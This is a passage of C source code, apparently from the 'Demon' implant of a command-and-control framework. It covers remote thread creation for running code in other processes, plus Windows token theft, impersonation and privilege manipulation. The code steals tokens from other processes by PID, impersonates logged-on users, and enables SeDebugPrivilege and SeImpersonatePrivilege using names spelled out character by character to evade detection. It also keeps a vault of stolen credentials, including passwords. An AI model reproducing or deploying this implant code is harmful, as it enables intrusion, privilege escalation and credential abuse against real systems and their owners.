thread was created" ) hThread = ctx.t.hThread; // resume the thread which was created in suspended mode SysNtResumeThread( hThread, NULL ); END: if ( pExecuteX64 ) { MmVirtualFree( NtCurrentProcess(), pExecuteX64 ); } return hThread; } #endif HANDLE ThreadCreate( IN BYTE Method, IN HANDLE Process, IN BOOL x64, IN PVOID Entry, IN PVOID Arg, OUT PDWORD ThreadId ) { HANDLE Thread = NULL; #if _M_IX86 if ( x64 ) { // x86 -> x64 return ThreadCreateWoW64( Method, Process, Entry, Arg ); } #endif switch ( Method ) { case THREAD_METHOD_DEFAULT: { return ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, Process, x64, Entry, Arg, ThreadId ); } case THREAD_METHOD_CREATEREMOTETHREAD: { Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId ); break; } case THREAD_METHOD_NTCREATEHREADEX: { NTSTATUS NtStatus = STATUS_SUCCESS; THD_ATTR_LIST ThreadAttr = { 0 }; CLIENT_ID Client = { 0 }; /* thread attribute to get the thread id*/ ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE ); ThreadAttr.Entry.Size = sizeof( CLIENT_ID ); ThreadAttr.Entry.pValue = C_PTR( &Client ); ThreadAttr.Length = sizeof( PROC_THREAD_ATTRIBUTE_LIST ); /* execute the code by creating a new thread */ NtStatus = SysNtCreateThreadEx( &Thread, THREAD_ALL_ACCESS, NULL, Process, Entry, Arg, FALSE, 0, 0, 0, &ThreadAttr ); if ( NT_SUCCESS( NtStatus ) ) { if ( ThreadId ) { *ThreadId = U_PTR( Client.UniqueThread ); } } else { PRINTF( "Failed to create new thread => NtStatus:[%x]\n", NtStatus ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } break; } case THREAD_METHOD_NTQUEUEAPCTHREAD: { /* TODO: finish implementing it */ break; } default: { PRINTF( "Technique not found => %d", Method ) break; } } return Thread; } ================================================ FILE: payloads/Demon/src/core/Token.c ================================================ #include #include #include #include #include #include #include /* TODO: Change the way new tokens gets added. * * Instead of appending it to the newest token like: * TokenNew->Next = Token * * Add it to the first token (parent): * * Token->Next = Instance->Tokens.Vault; * Instance->Tokens.Vault = Token; * * Might reduce some code which i care more than * token order. * */ /*! * @brief * Duplicate given token * * @param TokenOriginal * @param Access * @param ImpersonateLevel * @param TokenType * @param TokenNew * @return */ BOOL TokenDuplicate( IN HANDLE TokenOriginal, IN DWORD Access, IN SEC_IMP_LEVEL ImpersonateLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE TokenNew ) { OBJECT_ATTRIBUTES ObjAttr = { 0 }; SEC_QUALITY_SERVICE Sqos = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; Sqos.Length = sizeof( SEC_QUALITY_SERVICE ); Sqos.ImpersonationLevel = ImpersonateLevel; Sqos.ContextTrackingMode = 0; Sqos.EffectiveOnly = FALSE; /* Initialize Object Attributes */ InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); ObjAttr.SecurityQualityOfService = &Sqos; /* duplicate token using native call */ if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * @brief * reverse to the original process user token * * @return if successful reverse to original token */ BOOL TokenRevSelf( VOID ) { HANDLE Token = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * @brief * queries the username and or domain * * @note * the queried memory should be freed after used * using HeapFree/RtlFreeHeap * * @param Token * @param UserDomain * @param Flags * @return */ BOOL TokenQueryOwner( IN HANDLE Token, OUT PBUFFER UserDomain, IN DWORD Flags ) { NTSTATUS NtStatus = STATUS_SUCCESS; BOOL Success = FALSE; PTOKEN_USER UserInfo = NULL; ULONG UserSize = 0; PVOID Domain = NULL; PVOID User = NULL; DWORD UserLen = { 0 }; DWORD DomnLen = { 0 }; SID_NAME_USE SidType = 0; /* check if we specified the required args */ if ( ! Token || ! UserDomain ) { return FALSE; } /* get the size for the TOKEN_USER struct */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) ) { UserInfo = MmHeapAlloc( UserSize ); /* query the token user (we need the sid) */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) { goto LEAVE; } /* now get the Username and Domain from the Sid */ if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) ) { SidType = 0; if ( Flags == TOKEN_OWNER_FLAG_USER ) { UserDomain->Length = ( UserLen * sizeof( WCHAR ) ); } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { UserDomain->Length = ( DomnLen * sizeof( WCHAR ) ); } else { UserDomain->Length = ( UserLen * sizeof( WCHAR ) ) + ( DomnLen * sizeof( WCHAR ) ); } /* we allocate one buffer for specified owner flag */ UserDomain->Buffer = MmHeapAlloc( UserDomain->Length ); Domain = UserDomain->Buffer; User = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) ); /* setup arguments */ if ( Flags == TOKEN_OWNER_FLAG_USER ) { Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) ); User = UserDomain->Buffer; } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { User = MmHeapAlloc( UserLen * sizeof( WCHAR ) ); } /* now lets try to get the owner */ if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) { PRINTF( "LookupAccountSidW Error => %d\n", NtGetLastError() ); goto LEAVE; } /* now let's add the \ between the Username and Domain */ if ( Flags == TOKEN_OWNER_FLAG_DEFAULT ) { B_PTR( UserDomain->Buffer )[ ( DomnLen * sizeof( WCHAR ) ) ] = '\\'; } /* if we reached til this point means we were pretty much successful */ Success = TRUE; } else { PUTS( "Unexpected successful call to LookupAccountSidW.\n" ) } } else { PUTS( "Unexpected successful call to NtQueryInformationToken.\n" ) } LEAVE: if ( UserInfo ) { DATA_FREE( UserInfo, UserSize ) } if ( Flags == TOKEN_OWNER_FLAG_USER ) { DATA_FREE( Domain, DomnLen ); } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { DATA_FREE( User, UserLen ); } return Success; } /*! * sets a privilege * * TODO: change it to use wide strings. * * @param Privilege * @param Enable * @return */ BOOL TokenSetPrivilege( IN LPSTR Privilege, IN BOOL Enable ) { TOKEN_PRIVILEGES TokenPrivileges = { 0 }; LUID TokenLUID = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; HANDLE hToken = NULL; if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) { PRINTF( "[-] LookupPrivilegeValue error: %u\n", NtGetLastError() ); return FALSE; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[ 0 ].Luid = TokenLUID; if ( Enable ) { TokenPrivileges.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED; } else { TokenPrivileges.Privileges[ 0 ].Attributes = 0; } if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) { if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) { PRINTF( "[-] AdjustTokenPrivileges error: %u\n", NtGetLastError() ); return FALSE; } } else { PRINTF( "NtOpenProcessToken: Failed [%d]", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) return FALSE; } return TRUE; } BOOL TokenSetSeDebugPriv( IN BOOL Enable ) { CHAR PrivName[ 17 ] = { 0 }; BOOL Success = FALSE; // SeDebugPrivilege PrivName[ 2 ] = HideChar('D'); PrivName[ 9 ] = HideChar('i'); PrivName[ 16 ] = HideChar('\0'); PrivName[ 0 ] = HideChar('S'); PrivName[ 3 ] = HideChar('e'); PrivName[ 6 ] = HideChar('g'); PrivName[ 7 ] = HideChar('P'); PrivName[ 11 ] = HideChar('i'); PrivName[ 4 ] = HideChar('b'); PrivName[ 5 ] = HideChar('u'); PrivName[ 10 ] = HideChar('v'); PrivName[ 15 ] = HideChar('e'); PrivName[ 1 ] = HideChar('e'); PrivName[ 13 ] = HideChar('e'); PrivName[ 14 ] = HideChar('g'); PrivName[ 12 ] = HideChar('l'); PrivName[ 8 ] = HideChar('r'); Success = TokenSetPrivilege(PrivName, Enable); MemZero( PrivName, sizeof( PrivName ) ); return Success; } BOOL TokenSetSeImpersonatePriv( IN BOOL Enable ) { CHAR PrivName[ 23 ] = { 0 }; BOOL Success = FALSE; // SeImpersonatePrivilege PrivName[ 7 ] = HideChar('s'); PrivName[ 5 ] = HideChar('e'); PrivName[ 4 ] = HideChar('p'); PrivName[ 8 ] = HideChar('o'); PrivName[ 3 ] = HideChar('m'); PrivName[ 0 ] = HideChar('S'); PrivName[ 11 ] = HideChar('t'); PrivName[ 12 ] = HideChar('e'); PrivName[ 17 ] = HideChar('i'); PrivName[ 19 ] = HideChar('e'); PrivName[ 22 ] = HideChar('\0'); PrivName[ 6 ] = HideChar('r'); PrivName[ 16 ] = HideChar('v'); PrivName[ 21 ] = HideChar('e'); PrivName[ 10 ] = HideChar('a'); PrivName[ 15 ] = HideChar('i'); PrivName[ 9 ] = HideChar('n'); PrivName[ 1 ] = HideChar('e'); PrivName[ 13 ] = HideChar('P'); PrivName[ 14 ] = HideChar('r'); PrivName[ 2 ] = HideChar('I'); PrivName[ 18 ] = HideChar('l'); PrivName[ 20 ] = HideChar('g'); Success = TokenSetPrivilege(PrivName, Enable); MemZero( PrivName, sizeof( PrivName ) ); return Success; } /*! * Adds an token to the vault. * * TODO: * rewrite the function param. accept token object + STOLEN PID or MAKE data as a struct. * * @param hToken * @param DomainUser * @param Type * @param dwProcessID * @param User * @param Domain * @param Password * @return */ DWORD TokenAdd( IN HANDLE hToken, IN LPWSTR DomainUser, IN SHORT Type, IN DWORD dwProcessID, IN LPWSTR User, IN LPWSTR Domain, IN LPWSTR Password ) { PTOKEN_LIST_DATA TokenList = NULL; PTOKEN_LIST_DATA TokenEntry = NULL; DWORD TokenIndex = 0; TokenEntry = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) ); TokenEntry->Handle = hToken; TokenEntry->DomainUser = DomainUser; TokenEntry->dwProcessID = dwProcessID; TokenEntry->Type = Type; TokenEntry->lpUser = User; TokenEntry->lpDomain = Domain; TokenEntry->lpPassword = Password; TokenEntry->NextToken = NULL; if ( Instance->Tokens.Vault == NULL ) { Instance->Tokens.Vault = TokenEntry; return TokenIndex; } TokenList = Instance->Tokens.Vault; /* add TokenEntry to Token linked list */ while ( TokenList->NextToken != NULL ) { TokenList = TokenList->NextToken; TokenIndex++; } TokenList->NextToken = TokenEntry; TokenIndex++; return TokenIndex; } BOOL SysDuplicateTokenEx( IN HANDLE ExistingTokenHandle, IN DWORD dwDesiredAccess, IN LPSECURITY_ATTRIBUTES lpTokenAttributes OPTIONAL, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE DuplicateTokenHandle) { OBJECT_ATTRIBUTES ObjAttr = { 0 }; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; SECURITY_QUALITY_OF_SERVICE Sqos = { 0 }; Sqos.Length = sizeof( SECURITY_QUALITY_OF_SERVICE ); Sqos.ImpersonationLevel = ImpersonationLevel; Sqos.ContextTrackingMode = 0; Sqos.EffectiveOnly = FALSE; if ( lpTokenAttributes ) { InitializeObjectAttributes( &ObjAttr, NULL, lpTokenAttributes->bInheritHandle ? OBJ_INHERIT : 0, NULL, lpTokenAttributes->lpSecurityDescriptor); } else { InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); } ObjAttr.SecurityQualityOfService = &Sqos; NtStatus = SysNtDuplicateToken( ExistingTokenHandle, dwDesiredAccess, &ObjAttr, FALSE, TokenType, DuplicateTokenHandle); if ( ! NT_SUCCESS( NtStatus ) ) { PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * Steals the process token from the specified pid * @param ProcessID * @param TargetHandle * @return */ HANDLE TokenSteal( IN DWORD ProcessID, IN HANDLE TargetHandle ) { HANDLE hProcess = NULL; HANDLE hTokenDup = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; CLIENT_ID ProcID = { 0 }; OBJECT_ATTRIBUTES TokenAttr = { 0 }; SECURITY_QUALITY_OF_SERVICE Qos = { 0 }; hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE ); if ( hProcess ) { if ( TargetHandle ) { PRINTF( "Stealing handle 0x%x from PID %d\n", TargetHandle, ProcessID ); NtStatus = SysNtDuplicateObject( hProcess, TargetHandle, NtCurrentProcess(), &hTokenDup, 0, 0, DUPLICATE_SAME_ACCESS ); if ( NT_SUCCESS( NtStatus ) ) { SysNtClose( hProcess ); return hTokenDup; } else { PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } else { PRINTF( "Stealing process handle from PID %d\n", ProcessID ); NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hTokenDup ); if ( NT_SUCCESS( NtStatus ) ) { SysNtClose( hProcess ); return hTokenDup; } else { PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } } else { PRINTF( "ProcessOpen: Failed:[%ld]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32 } if ( hProcess ) { SysNtClose( hProcess ); } return NULL; } BOOL TokenRemove( DWORD TokenID ) { PRINTF( "Token Remove => %d\n", TokenID ) PTOKEN_LIST_DATA TokenList = NULL; PTOKEN_LIST_DATA TokenItem = NULL; TokenItem = TokenGet( TokenID ); TokenList = Instance->Tokens.Vault; if ( ( ! TokenList ) || ( ! TokenItem ) ) return FALSE; if ( Instance->Tokens.Vault == TokenItem ) { PUTS( "Its first item" ) TokenItem = Instance->Tokens.Vault->NextToken; if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle ) TokenImpersonate( FALSE ); if ( Instance->Tokens.Vault->Handle ) { SysNtClose( Instance->Tokens.Vault->Handle ); Instance->Tokens.Vault->Handle = NULL; } if ( Instance->Tokens.Vault->DomainUser ) { MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser ); Instance->Tokens.Vault->DomainUser = NULL; } if ( Instance->Tokens.Vault->lpUser ) { MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser ); Instance->Tokens.Vault->lpUser = NULL; } if ( Instance->Tokens.Vault->lpDomain ) { MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain ); Instance->Tokens.Vault->lpDomain = NULL; } if ( Instance->Tokens.Vault->lpPassword ) { MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword ); Instance->Tokens.Vault->lpPassword = NULL; } MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault ); Instance->Tokens.Vault = TokenItem; return TRUE; } do { if ( TokenList ) { if ( TokenList->NextToken == TokenItem ) { PUTS( "Found TokenItem" ) TokenList->NextToken = TokenItem->NextToken; if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle ) TokenImpersonate( FALSE ); if ( TokenItem->Handle ) { SysNtClose( TokenItem->Handle ); TokenItem->Handle = NULL; } if ( TokenItem->DomainUser ) { MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->DomainUser ); TokenItem->DomainUser = NULL; } if ( TokenItem->lpUser ) { MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpUser ); TokenItem->lpUser = NULL; } if ( TokenItem->lpDomain ) { MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpDomain ); TokenItem->lpDomain = NULL; } if ( TokenItem->lpPassword ) { MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpPassword ); TokenItem->lpPassword = NULL; } MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) ); Instance->Win32.LocalFree( TokenItem ); TokenItem = NULL; return TRUE; } else TokenList = TokenList->NextToken; } else return FALSE; } while ( TRUE ); } HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType ) { HANDLE hToken = NULL; PRINTF( "TokenMake( %ls, %ls, %ls, %d )\n", User, Password, Domain, LogonType ) if ( ! TokenRevSelf() ) { PRINTF( "Failed to revert to self: Error:[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32 // TODO: at this point should I return NULL or just continue ? For now i just continue. } if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) ) { PUTS( "LogonUserW: Failed" ) PACKAGE_ERROR_WIN32 } return hToken; } /*! * get current process/thread token * @return */ HANDLE TokenCurrentHandle( VOID ) { HANDLE Token = NULL; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! NT_SUCCESS( NtStatus = SysNtOpenThreadToken( NtCurrentThread(), TOKEN_QUERY, TRUE, &Token ) ) ) { if ( NtStatus != STATUS_NO_TOKEN ) { PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) ) { PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } } return Token; } BOOL TokenElevated( IN HANDLE Token ) { TOKEN_ELEVATION Data = { 0 }; DWORD Size = sizeof( TOKEN_ELEVATION ); BOOL Admin = FALSE; if ( NT_SUCCESS( SysNtQueryInformationToken( Token, TokenElevation, &Data, Size, &Size ) ) ) { Admin = U_PTR( Data.TokenIsElevated ); } return Admin; } PTOKEN_LIST_DATA TokenGet( IN DWORD TokenID ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) { TokenList = TokenList->NextToken; } if ( TokenIndex != TokenID ) { return NULL; } return TokenList; } VOID TokenClear( VOID ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; TokenImpersonate( FALSE ); do { if ( TokenList != NULL ) { TokenList = TokenList->NextToken; } else { break; } TokenIndex++; } while ( TRUE ); for ( int i = TokenIndex - 1; i >= 0; i-- ) { TokenRemove( i ); } Instance->Tokens.Impersonate = FALSE; Instance->Tokens.Vault = NULL; Instance->Tokens.Token = NULL; } BOOL TokenImpersonate( IN BOOL Impersonate ) { if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token ) { // impersonate the current token. Instance->Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle ); return Instance->Tokens.Impersonate; } else if ( ! Impersonate && Instance->Tokens.Impersonate ) { { // stop impersonating Instance->Tokens.Impersonate = FALSE; return TokenRevSelf(); } } else if ( Impersonate && ! Instance->Tokens.Token ) { return TRUE; // there is no token to impersonate in the first place } else if ( Impersonate && Instance->Tokens.Impersonate ) { return TRUE; // we are already impersonating } else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) { return TRUE; // we are already not impersonating } return FALSE; } VOID AddUserToken( _Inout_ PUSER_TOKEN_DATA NewToken, _Inout_ PUSER_TOKEN_DATA Tokens, _Inout_ PDWORD NumTokens ) { for ( DWORD i = 0; i < *NumTokens; ++i ) { /* we consider two tokens the equal if they have the same: * - username * - type * - integrity * - impersonation level * also, we do not include tokens with the same user as our own * and try to include a primary token if we can */ if ( ! StringCompareW( Tokens[i].username, NewToken->username) && Tokens[i].TokenType == NewToken->TokenType && Tokens[i].integrity_level == NewToken->integrity_level && Tokens[i].impersonation_level == NewToken->impersonation_level && ( ( Tokens[i].localHandle == 0 && NewToken->localHandle == 0 ) || ( Tokens[i].localHandle != 0 && NewToken->localHandle != 0 ) ) ) { // a token similar to this one already exists return; } } // TODO: while unlikely, this could overflow StringCopyW( Tokens[ *NumTokens ].username, NewToken->username ); Tokens[ *NumTokens ].dwProcessID = NewToken->dwProcessID; Tokens[ *NumTokens ].localHandle = NewToken->localHandle; Tokens[ *NumTokens ].impersonation_level = NewToken->impersonation_level; Tokens[ *NumTokens ].TokenType = NewToken->TokenType; Tokens[ *NumTokens ].integrity_level = NewToken->integrity_level; (*NumTokens)++; } BOOL IsImpersonationToken( HANDLE token ) { HANDLE temp_token = NULL; BOOL ReturnValue = FALSE; LPVOID TokenImpersonationInfo = NULL; DWORD returned_tokinfo_length = 0; TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE ); if ( ! TokenImpersonationInfo ) return FALSE; if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) ) { if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation ) ReturnValue = TRUE; else ReturnValue = FALSE; } else { ReturnValue = TokenDuplicate( token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenImpersonation, &temp_token ); SysNtClose( temp_token ); } if ( TokenImpersonationInfo ) Instance->Win32.LocalFree( TokenImpersonationInfo ); return ReturnValue; } // https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/list_tokens.c BOOL CanTokenBeImpersonated( IN HANDLE hToken ) { BOOL Success = FALSE; HANDLE hImp = NULL; // try to impersonate the token handle if ( ! SysImpersonateLoggedOnUser( hToken ) ) return FALSE; // try to open a handle to the current token Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp ); TokenRevSelf(); if ( ! Success ) return FALSE; // make sure the token kept the impersonate status Success = IsImpersonationToken( hImp ); SysNtClose( hImp ); if ( ! Success ) return FALSE; return TRUE; } VOID ProcessUserToken( IN HANDLE hToken, IN DWORD ProcessId, IN HANDLE handle, IN BOOL CheckUsername, IN PBUFFER CurrentUser, _Inout_ PUSER_TOKEN_DATA Tokens, _Inout_ PDWORD NumTokens) { USER_TOKEN_DATA NewToken = { 0 }; DWORD TokenType = 0; DWORD Integrity = 0; DWORD ImpersonationLevel = 0; BUFFER UserDomain = { 0 }; // get the type, integrity and impersonation level for this token if ( GetTokenInfo( hToken, &TokenType, &Integrity, &ImpersonationLevel, &UserDomain ) ) { // make sure the token can be impersonated if ( TokenType == TokenPrimary || ImpersonationLevel == SecurityImpersonation || ImpersonationLevel == SecurityDelegation) { // we avoid tokens from our own user as they are not relevant if ( IsNotCurrentUser( CheckUsername, CurrentUser, &UserDomain ) ) { if ( CanTokenBeImpersonated( hToken ) ) { // create a new token structure and store it StringCopyW( NewToken.username, UserDomain.Buffer ); NewToken.dwProcessID = ProcessId; NewToken.localHandle = handle; NewToken.integrity_level = Integrity; NewToken.impersonation_level = ImpersonationLevel; NewToken.TokenType = TokenType; // save the new token (if we don't already have one like it) AddUserToken(&NewToken, Tokens, NumTokens ); } } } DATA_FREE( UserDomain.Buffer, UserDomain.Length ); } } // call NtQueryObject with ObjectTypesInformation BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObjectTypesSize ) { NTSTATUS status = STATUS_UNSUCCESSFUL; ULONG BufferLength = 0x1000; ULONG PrevBufferLength = BufferLength; POBJECT_TYPES_INFORMATION ObjTypeInformation = NULL; do { PrevBufferLength = BufferLength; ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength ); status = SysNtQueryObject( NULL, ObjectTypesInformation, ObjTypeInformation, BufferLength, &BufferLength); if ( NT_SUCCESS( status ) ) { *pObjectTypes = ObjTypeInformation; *pObjectTypesSize = BufferLength; return TRUE; } DATA_FREE( ObjTypeInformation, PrevBufferLength ); } while (status == STATUS_INFO_LENGTH_MISMATCH); return FALSE; } // get index of object type 'Token' BOOL GetTypeIndexToken( OUT PULONG TokenTypeIndex ) { BOOL ret_val = FALSE; BOOL success = FALSE; POBJECT_TYPES_INFORMATION ObjectTypes = NULL; POBJECT_TYPE_INFORMATION_V2 CurrentType = NULL; ULONG ObjectTypesSize = 0; success = QueryObjectTypesInfo( &ObjectTypes, &ObjectTypesSize); if (!success) goto cleanup; CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY( ObjectTypes ); for (ULONG i = 0; i < ObjectTypes->NumberOfTypes && CurrentType; i++) { if ( CurrentType->TypeName.Buffer && CurrentType->TypeName.Length == 10 && CurrentType->TypeName.Buffer[0] == L'T' && CurrentType->TypeName.Buffer[1] == L'o' && CurrentType->TypeName.Buffer[2] == L'k' && CurrentType->TypeName.Buffer[3] == L'e' && CurrentType->TypeName.Buffer[4] == L'n' ) { *TokenTypeIndex = i + 2; ret_val = TRUE; break; } CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY( CurrentType ); } cleanup: DATA_FREE( ObjectTypes, ObjectTypesSize ); return ret_val; } BOOL GetTokenInfo( IN HANDLE hToken, OUT PDWORD pTokenType, OUT PDWORD pIntegrity, OUT PDWORD pImpersonationLevel, OUT PBUFFER UserDomain) { BOOL ReturnValue = FALSE; DWORD returned_tokinfo_length = 0; DWORD cbSize = 0; DWORD returned_tokimp_length = 0; PTOKEN_STATISTICS TokenStatisticsInformation = NULL; PTOKEN_MANDATORY_LABEL TokenIntegrityInformation = NULL; PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = NULL; if ( ! TokenQueryOwner( hToken, UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS("TokenQueryOwner failed") goto Cleanup; } Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length ); TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length ); if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) ) { // save the token type *pTokenType = TokenStatisticsInformation->TokenType; if ( TokenStatisticsInformation->TokenType == TokenPrimary ) { // get the token integrity level Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize ); TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize ); if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) ) { *pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1)); ReturnValue = TRUE; } else { PUTS( "GetTokenInformation failed" ) } } else if (TokenStatisticsInformation->TokenType == TokenImpersonation) { // get the token impersonation level Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length ); TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length ); if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) ) { *pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation ); ReturnValue = TRUE; } else { PUTS( "GetTokenInformation failed" 